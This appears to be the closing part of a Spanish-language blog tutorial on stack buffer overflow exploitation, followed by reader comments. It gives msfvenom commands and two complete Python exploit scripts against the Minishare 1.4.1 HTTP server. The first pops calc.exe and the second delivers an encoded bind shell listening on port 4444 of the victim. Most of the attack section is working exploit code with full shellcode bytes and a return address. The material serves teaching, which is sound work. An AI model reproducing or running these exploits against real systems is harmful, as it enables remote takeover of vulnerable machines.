Para ello usaremos msfvenom, una utilidad de Metasploit con la que podremos generar y encodear fácilmente payloads.
Primero generaremos un payload para ejecutar la típica calculadora como prueba de concepto. Tenemos que aseguraremos que el shellcode que se crea esté libre de los caracteres incorrectos o "bad characters" más usuales "\x00\x0a\x0d" que, de no eliminarse, podrían hacer que el shellcode sea inviable. El comando resultante sería:
msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python
Lo copiamos y pegamos a nuestro exploit:
EXPLOIT K
#!/usr/share/python
import socket,sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],80))
junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32
# msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python
shellcode = ""
shellcode += "\xba\x6a\xfc\x07\x12\xd9\xe8\xd9\x74\x24\xf4\x5e\x29"
shellcode += "\xc9\xb1\x31\x83\xee\xfc\x31\x56\x0f\x03\x56\x65\x1e"
shellcode += "\xf2\xee\x91\x5c\xfd\x0e\x61\x01\x77\xeb\x50\x01\xe3"
shellcode += "\x7f\xc2\xb1\x67\x2d\xee\x3a\x25\xc6\x65\x4e\xe2\xe9"
shellcode += "\xce\xe5\xd4\xc4\xcf\x56\x24\x46\x53\xa5\x79\xa8\x6a"
shellcode += "\x66\x8c\xa9\xab\x9b\x7d\xfb\x64\xd7\xd0\xec\x01\xad"
shellcode += "\xe8\x87\x59\x23\x69\x7b\x29\x42\x58\x2a\x22\x1d\x7a"
shellcode += "\xcc\xe7\x15\x33\xd6\xe4\x10\x8d\x6d\xde\xef\x0c\xa4"
shellcode += "\x2f\x0f\xa2\x89\x80\xe2\xba\xce\x26\x1d\xc9\x26\x55"
shellcode += "\xa0\xca\xfc\x24\x7e\x5e\xe7\x8e\xf5\xf8\xc3\x2f\xd9"
shellcode += "\x9f\x80\x23\x96\xd4\xcf\x27\x29\x38\x64\x53\xa2\xbf"
shellcode += "\xab\xd2\xf0\x9b\x6f\xbf\xa3\x82\x36\x65\x05\xba\x29"
shellcode += "\xc6\xfa\x1e\x21\xea\xef\x12\x68\x60\xf1\xa1\x16\xc6"
shellcode += "\xf1\xb9\x18\x76\x9a\x88\x93\x19\xdd\x14\x76\x5e\x11"
shellcode += "\x5f\xdb\xf6\xba\x06\x89\x4b\xa7\xb8\x67\x8f\xde\x3a"
shellcode += "\x82\x6f\x25\x22\xe7\x6a\x61\xe4\x1b\x06\xfa\x81\x1b"
shellcode += "\xb5\xfb\x83\x7f\x58\x68\x4f\xae\xff\x08\xea\xae"
exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"
s.send(exploit)
s.close()
y al ejecutarlo, debería abrirse la calculadora como se muestra a continuación:
Ahora que vemos que todo ha funcionado correctamente llegamos al último y digamos "más práctico" exploit, que si una víctima ejecuta en un equipo con el servidor Minishare vulnerable, hará que levante una shell directa o bind.
Volvemos a generarlo también con msfvenom:
msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -b '\x00\x0d\x0a' -e x86/shikata_ga_nai -f python
Fijaros que el tamaño del payload es 326 bytes, espacio suficiente puesto que habíamos alojado hasta 409. Lo incorporamos al exploit final y ejecutamos:
EXPLOIT L
#!/usr/share/python
import socket,sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],80))
junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32
# msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -b '\x00\x0d\x0a' -e x86/shikata_ga_nai -f python
shellcode = ""
shellcode += "\xba\x8c\x69\x1e\x49\xda\xd1\xd9\x74\x24\xf4\x5f\x2b"
shellcode += "\xc9\xb1\x4b\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2"
shellcode += "\x79\x95\xf6\xcb\x81\x66\x07\xac\x08\x83\x36\xec\x6e"
shellcode += "\xc7\x69\xdc\xe5\x85\x85\x97\xab\x3d\x1d\xd5\x63\x31"
shellcode += "\x96\x50\x55\x7c\x27\xc8\xa5\x1f\xab\x13\xf9\xff\x92"
shellcode += "\xdb\x0c\x01\xd2\x06\xfc\x53\x8b\x4d\x52\x44\xb8\x18"
shellcode += "\x6e\xef\xf2\x8d\xf6\x0c\x42\xaf\xd7\x82\xd8\xf6\xf7"
shellcode += "\x25\x0c\x83\xbe\x3d\x51\xae\x09\xb5\xa1\x44\x88\x1f"
shellcode += "\xf8\xa5\x26\x5e\x34\x54\x37\xa6\xf3\x87\x42\xde\x07"
shellcode += "\x35\x54\x25\x75\xe1\xd1\xbe\xdd\x62\x41\x1b\xdf\xa7"
shellcode += "\x17\xe8\xd3\x0c\x5c\xb6\xf7\x93\xb1\xcc\x0c\x1f\x34"
shellcode += "\x03\x85\x5b\x12\x87\xcd\x38\x3b\x9e\xab\xef\x44\xc0"
shellcode += "\x13\x4f\xe0\x8a\xbe\x84\x99\xd0\xd6\x69\x93\xea\x26"
shellcode += "\xe6\xa4\x99\x14\xa9\x1e\x36\x15\x22\xb8\xc1\x5a\x19"
shellcode += "\x7c\x5d\xa5\xa2\x7c\x77\x62\xf6\x2c\xef\x43\x77\xa7"
shellcode += "\xef\x6c\xa2\x5d\xfb\xcb\x1d\x43\x06\x81\x9c\xe9\xfb"
shellcode += "\x3e\x75\xe2\x24\x5e\x76\x29\x4d\xf7\x8b\xd1\x63\x54"
shellcode += "\x05\x37\xe9\x74\x43\xe0\x86\xb6\xb0\x39\x30\xc8\x92"
shellcode += "\xc0\x7e\x43\x45\x9d\x16\x1b\x9c\x19\x18\x9c\x8a\x0e"
shellcode += "\x8e\x17\xd9\x8b\xaf\x27\xf4\xbc\xb8\xb0\x82\x2c\x8a"
shellcode += "\x21\x92\x65\x7e\xa2\x06\x81\x29\xf5\xbe\x8b\x0c\x31"
shellcode += "\x61\x74\x7b\x41\x66\x8a\xfa\x6b\x1c\xbc\x68\x34\x4a"
shellcode += "\xc0\x7c\xb4\x8a\x96\x16\xb4\xe2\x4e\x43\xe7\x17\x91"
shellcode += "\x5e\x9b\x8b\x07\x61\xca\x78\x80\x09\xf0\xa7\xe6\x95"
shellcode += "\x0b\x82\x75\xd1\xf4\x53\x7e\x23\x36\x82\x46\x56\x51"
shellcode += "\x16"
exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"
s.send(exploit)
s.close()
Si comprobamos los puertos abiertos (netstat -a) veremos que la shell ya está levantada escuchando en el puerto 4444:
Por lo que podríamos conectarnos a la máquina de la víctima y todo a raíz de una vulnerabilidad de desbordamiento de pila...
Y hasta aquí hemos llegado con el taller de iniciación del exploiting. Espero que hayáis disfrutado y aprendido tanto como nosotros y que estos artículos sean sólo el principio de una serie de ejercicios con los que iremos repasando y descubriendo nuevas técnicas de esta fascinante "rama" del hacking. ¡Hasta la próxima!
Fuentes:
- Taller "Palizón a la pila" de la Navaja Negra 2017
- Minishare 1.4.1 Bufferoverflow
- Exploting Buffer Overflow Minishare 1.4.1
- Smashing the Stack for Fun & Profit : Revived
Taller de iniciación al exploiting: desbordamiento de pila
1.- sobrescribiendo el EIP
2.- controlando el flujo de la aplicación
3.- "acomodando" el espacio para nuestro payload
4.- ejecución del shellcode
¿Qué papel puede jugar este tipo de explotación en la actualidad con los sistemas preventivos como ASLR, DEP, NX...?
ResponderEliminarCreo que eso vendrá más adelante. Supongo que en algún momento se dará el salto a WinDBG, lo que me vendrá genial porque WinDBG es una puta pesadilla.
EliminarMe ha encantado este tutorial!
ResponderEliminarLimpio, claro, y con una curva de aprendizaje adecuada.
GRACIAS!
me alegra que te haya gustado. A ver si pronto hacemos más posts similares de exploiting, con más técnicas :)
Eliminar